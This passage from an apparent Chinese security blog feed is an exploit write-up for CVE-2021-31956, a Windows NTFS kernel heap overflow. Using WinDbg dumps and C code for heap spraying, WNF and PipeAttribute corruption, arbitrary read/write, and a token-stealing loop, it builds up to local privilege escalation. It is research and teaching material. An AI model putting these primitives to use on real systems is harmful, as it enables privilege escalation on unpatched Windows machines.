<span class="title">Header</span>;</span>                                         <span class="comment">//0x0</span></span><br><span class="line">    ULONG AllocatedSize;                                                    <span class="comment">//0x4</span></span><br><span class="line">    ULONG DataSize;                                                         <span class="comment">//0x8</span></span><br><span class="line">    ULONG ChangeStamp;                                                      <span class="comment">//0xc</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>举例说明，WNF数据在内核里的保存方式如下所示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; dd ffffdd841d4b6850</span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6850  <span class="number">0b0</span>c0000 <span class="number">20666e57</span> <span class="number">25</span>a80214 <span class="number">73</span>ca76c5      <span class="comment">// PoolHeader 0x10个字节</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6860  <span class="number">00100904</span> <span class="number">000000</span>a0 <span class="number">000000</span>a0 <span class="number">00000001</span>      <span class="comment">// _WNF_STATE_DATA 数据结构，用户数据的长度为0xa0 0x10个字节</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6870  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span>      <span class="comment">// WNF数据</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6880  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6890  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68a0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68b0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68c0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br></pre></td></tr></table></figure><p>通过喷堆，控制堆布局如下，NtFE是可以越界写的 chunk，后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象，接下来调用NtQueryWnfStateData实现相对偏移地址读写。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0</span>: kd&gt; g</span><br><span class="line">Breakpoint <span class="number">1</span> hit</span><br><span class="line">Ntfs!NtfsQueryEaUserEaList:</span><br><span class="line">fffff802`<span class="number">3</span>d2a8990 <span class="number">4</span>c894c2420      mov     qword ptr [rsp+<span class="number">20</span>h],r9</span><br><span class="line"><span class="number">1</span>: kd&gt; !pool r9</span><br><span class="line">Pool page ffffdd841d4b67a0 region is Paged pool</span><br><span class="line"> ffffdd841d4b6010 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b60d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6190 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6250 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6310 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b63d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6490 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6550 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6610 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b66d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line">*ffffdd841d4b6790 size:   c0 previous size:    <span class="number">0</span>  (Allocated) *NtFE</span><br><span class="line">Pooltag NtFE : Ea.c, Binary : ntfs.sys</span><br><span class="line"> ffffdd841d4b6850 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6910 size:   c0 previous size:    <span class="number">0</span>  (Free)       ....</span><br><span class="line"> ffffdd841d4b69d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6a90 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6b50 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6c10 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6cd0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6d90 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6e50 size:   c0 previous size:    <span class="number">0</span>  (Free)       ....</span><br><span class="line"> ffffdd841d4b6f10 size:   c0 previous size:    <span class="number">0</span>  (Free)       ....</span><br></pre></td></tr></table></figure><p>被篡改过后的_WNF_STATE_DATA 数据结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; dd ffffdd841d4b6850</span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6850  <span class="number">030</span>c0000 <span class="number">41414141</span> <span class="number">00000000</span> <span class="number">00000000</span>  <span class="comment">// 伪造的PoolHeader</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6860  <span class="number">00000000</span> <span class="number">0000f</span>fff <span class="number">000003</span>cc <span class="number">00000000</span>  <span class="comment">// 伪造的_WNF_STATE_DATA，将用户数据长度改为了0x3cc</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6870  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6880  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6890  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68a0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68b0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b68c0  <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span> <span class="number">61616161</span></span><br></pre></td></tr></table></figure><p>接下来讲述如何将相对偏移读写转换为任意地址读写。</p><h2 id="任意地址读"><a class="markdownIt-Anchor" href="#任意地址读"></a> 任意地址读</h2><p>我们需要使用到另外一个数据结构PipeAttribution，和WNF类似，这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的，如果通过堆布局，将AttributeValue的指针该为任意地址，就可以实现任意地址读。遗憾的是，windows并没有提供直接更新该数据结构的功能，不能通过该方法进行任意地址写。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">PipeAttribute</span> &#123;</span></span><br><span class="line">LIST_ENTRY <span class="built_in">list</span>;</span><br><span class="line"><span class="type">char</span> * AttributeName;</span><br><span class="line"><span class="type">uint64_t</span> AttributeValueSize ;</span><br><span class="line"><span class="type">char</span> * AttributeValue ;</span><br><span class="line"><span class="type">char</span> data [<span class="number">0</span>];</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">HANDLE read;</span><br><span class="line">HANDLE write;</span><br><span class="line">&#125; PIPES;</span><br><span class="line"><span class="comment">// 初始化pipe</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">pipe_init</span><span class="params">(PIPES* pipes)</span> &#123;</span><br><span class="line"><span class="keyword">if</span> (!CreatePipe(&amp;pipes-&gt;read, &amp;pipes-&gt;write, <span class="literal">NULL</span>, <span class="number">0x1000</span>)) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;createPipe fail\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 写入PipeAttribution</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">pipe_write_attr</span><span class="params">(PIPES* pipes, <span class="type">char</span>* name, <span class="type">void</span>* value, <span class="type">int</span> total_size)</span> &#123;</span><br><span class="line"><span class="type">size_t</span> length = <span class="built_in">strlen</span>(name);</span><br><span class="line"><span class="built_in">memcpy</span>(tmp_buffer, name, length + <span class="number">1</span>);</span><br><span class="line"><span class="built_in">memcpy</span>(tmp_buffer + length + <span class="number">1</span>, value, total_size - length - <span class="number">1</span>);</span><br><span class="line">IO_STATUS_BLOCK  statusblock;</span><br><span class="line"><span class="type">char</span> output[<span class="number">0x100</span>];</span><br><span class="line"><span class="type">int</span> mystatus = NtFsControlFile(pipes-&gt;write, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>,</span><br><span class="line">&amp;statusblock, <span class="number">0x11003C</span>, tmp_buffer, total_size,</span><br><span class="line">output, <span class="keyword">sizeof</span>(output));</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(mystatus)) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;pipe_write_attr fail 0x%x\n&quot;</span>, mystatus);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 读取PipeAttribution</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">pipe_read_attr</span><span class="params">(PIPES* pipes, <span class="type">char</span>* name, <span class="type">char</span>* output,<span class="type">int</span> size)</span> &#123;</span><br><span class="line">IO_STATUS_BLOCK statusblock;</span><br><span class="line"><span class="type">int</span> mystatus = NtFsControlFile(pipes-&gt;write, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>,</span><br><span class="line">&amp;statusblock, <span class="number">0x110038</span>, name,<span class="built_in">strlen</span>(name)+<span class="number">1</span>,</span><br><span class="line">output, size);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(mystatus)) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;pipe_read_attr fail 0x%x\n&quot;</span>, mystatus);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>理想情况下的堆布局如下所示，ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象，其余的chunk被释放，然后使用PipeAttribution对象堆喷重新占回。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; !pool ffffdd841d4b6850</span><br><span class="line">Pool page ffffdd841d4b6850 region is Paged pool</span><br><span class="line"> ffffdd841d4b6010 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b60d0 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6190 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6250 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6310 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b63d0 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6490 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6550 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6610 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b66d0 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6790 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line">*ffffdd841d4b6850 size:   c0 previous size:    <span class="number">0</span>  (Allocated) *AAAA</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> ffffdd841d4b6910 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  NpAt  <span class="comment">// 被攻击的数据结构</span></span><br><span class="line"> ffffdd841d4b69d0 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6a90 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6b50 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6c10 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6cd0 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6d90 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6e50 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"> ffffdd841d4b6f10 size:   c0 previous size:    <span class="number">0</span>  (Free)       NpAt</span><br><span class="line"><span class="number">1</span>: kd&gt; dq ffffdd841d4b6910 </span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6910  <span class="number">7441704</span>e`<span class="number">030</span>c0000 <span class="number">00000000</span>`<span class="number">00000000</span>              <span class="comment">// PoolHeader</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6920  ffffdd84`<span class="number">1</span>c8e6cb0 ffffdd84`<span class="number">1</span>c8e6cb0              <span class="comment">// list</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6930  ffffdd84`<span class="number">1</span>d4b6948 <span class="number">00000000</span>`<span class="number">00000078</span>              <span class="comment">// AttributeName AttributeValueSize </span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6940  ffffdd84`<span class="number">1</span>d4b6950 <span class="number">00313330</span>`<span class="number">315f</span>6161              <span class="comment">// AttributeValue</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6950  <span class="number">61616161</span>`<span class="number">00000407</span> <span class="number">61616161</span>`<span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6960  <span class="number">61616161</span>`<span class="number">61616161</span> <span class="number">61616161</span>`<span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6970  <span class="number">61616161</span>`<span class="number">61616161</span> <span class="number">61616161</span>`<span class="number">61616161</span></span><br><span class="line">ffffdd84`<span class="number">1</span>d4b6980  <span class="number">61616161</span>`<span class="number">61616161</span> <span class="number">61616161</span>`<span class="number">61616161</span></span><br></pre></td></tr></table></figure><p>根据上面讲述的方法实现任意地址读函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ab_read</span><span class="params">(<span class="type">void</span>* addr, <span class="type">void</span>* dst, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">WNF_CHANGE_STAMP stamp;</span><br><span class="line"><span class="type">char</span> readData[<span class="number">0x400</span>];</span><br><span class="line">ULONG readDataSize = <span class="keyword">sizeof</span>(readData);</span><br><span class="line">NTSTATUS st;</span><br><span class="line"><span class="type">static</span> <span class="type">char</span> wtf_buf[<span class="number">0x1000</span>];</span><br><span class="line">st = NtQueryWnfStateData(oobst, <span class="number">0</span>, <span class="number">0</span>, &amp;stamp, readData, &amp;readDataSize);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(st)) &#123;</span><br><span class="line">DEBUG(<span class="string">&quot;NtQueryWnfStateData fail %x\n&quot;</span>, st);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);</span><br><span class="line">pa-&gt;value = addr;</span><br><span class="line"><span class="keyword">if</span> (size &lt; <span class="number">0x20</span>)</span><br><span class="line">pa-&gt;value_len = <span class="number">0x100</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">pa-&gt;value_len = size;</span><br><span class="line">st = NtUpdateWnfStateData(oobst, readData, readDataSize, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(st)) &#123;</span><br><span class="line">DEBUG(<span class="string">&quot;NtQueryWnfStateData fail %x\n&quot;</span>, st);</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (pipe_read_attr(&amp;pipes, attackName, wtf_buf, <span class="keyword">sizeof</span>(wtf_buf))) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">memcpy</span>(dst, wtf_buf, size);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="任意地址写"><a class="markdownIt-Anchor" href="#任意地址写"></a> 任意地址写</h2><p>我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution，使用_WNF_NAME_INSTANCE重新进行堆喷，布局好的堆如下所示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>: kd&gt; !pool ffffdd841d4b6850</span><br><span class="line">Pool page ffffdd841d4b6850 region is Paged pool</span><br><span class="line"> ffffdd841d4b6010 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b60d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6190 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6250 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6310 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b63d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6490 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6550 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6610 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b66d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6790 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line">*ffffdd841d4b6850 size:   c0 previous size:    <span class="number">0</span>  (Allocated) *AAAA</span><br><span class="line">Owning component : Unknown (update pooltag.txt)</span><br><span class="line"> ffffdd841d4b6910 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  NpAt</span><br><span class="line"> ffffdd841d4b69d0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0 <span class="comment">// 被修改_WNF_STATE_DATA指针的WNF对象</span></span><br><span class="line"> ffffdd841d4b6a90 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6b50 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6c10 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6cd0 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6d90 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6e50 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br><span class="line"> ffffdd841d4b6f10 size:   c0 previous size:    <span class="number">0</span>  (Allocated)  Wnf  Process: ffff878ff44c80c0</span><br></pre></td></tr></table></figure><p>通过局部地址读写，覆盖掉下一个Wnf结构体（ffffdd841d4b69d0 ）里的_WNF_STATE_DATA，使用对应的结构体进行NtUpdateWnfStateData操作，即可实现任意地址写。</p><h2 id="windows权限提升"><a class="markdownIt-Anchor" href="#windows权限提升"></a> Windows权限提升</h2><p>windows权限提升的方法一般都是遍历进程链表，找到高权限进程的token（8字节），替换当前进程的token。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 循环遍历进程链表，搜索process_id为4的进程，读取其token</span></span><br><span class="line">  ULONGLONG token_addr = eprocess + token_offset;</span><br><span class="line">UCHAR* begin_eprocess = eprocess;</span><br><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">ULONGLONG process_id;</span><br><span class="line">ab_read(eprocess + process_id_offset, &amp;process_id, <span class="number">8</span>);</span><br><span class="line"><span class="keyword">if</span> (process_id == <span class="number">4</span>) &#123;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">UCHAR* tmp;</span><br><span class="line">ab_read(eprocess + link_offset, &amp;tmp, <span class="number">8</span>);</span><br><span class="line">tmp -= link_offset;</span><br><span class="line"><span class="keyword">if</span> (tmp == begin_eprocess) &#123;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">eprocess = tmp;</span><br><span class="line">&#125;</span><br><span class="line">ULONGLONG token;</span><br><span class="line">ab_read(eprocess + token_offset,&amp;token, <span class="number">8</span>);</span><br><span class="line">DEBUG(<span class="string">&quot;system token %016llx\n&quot;</span>, token);</span><br></pre></td></tr></table></figure><p>最后执行cmd。</p><p><img src="exp.png" alt="exp.PNG" /></p><h1 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h1><p>该漏洞的触发条件并不复杂，利用过程也比较简单，虽然windows的堆分配已经有了很大的随机化，但是大力出奇迹，很容易能够得到理想的堆布局，本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参，查阅了很多文档才搞清楚WNF的用法。总体来说难度不大，非常适合初学者入门。</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;概述&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#概述&quot;&gt;&lt;/a&gt; 概述&lt;/h1&gt;
&lt;p&gt;CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞，攻击者可以利用此漏洞实现本地权限提升，&lt;a href=&quot;https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/&quot;&gt;nccgroup的博客&lt;/a&gt;已经进行了详细的利用分析，不过并没有贴出exploit的源代码。&lt;/p&gt;
&lt;p&gt;本篇文章记录一下自己学习windows exploit的过程，使用的利用技巧和nccgroup提到的大同小异，仅供学习参考。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>魔形女</title>
    <link href="https://dawnslab.jd.com/mystique/"/>
    <id>https://dawnslab.jd.com/mystique/</id>
    <published>2021-09-27T08:27:04.000Z</published>
    <updated>2025-08-21T06:15:23.970Z</updated>
    
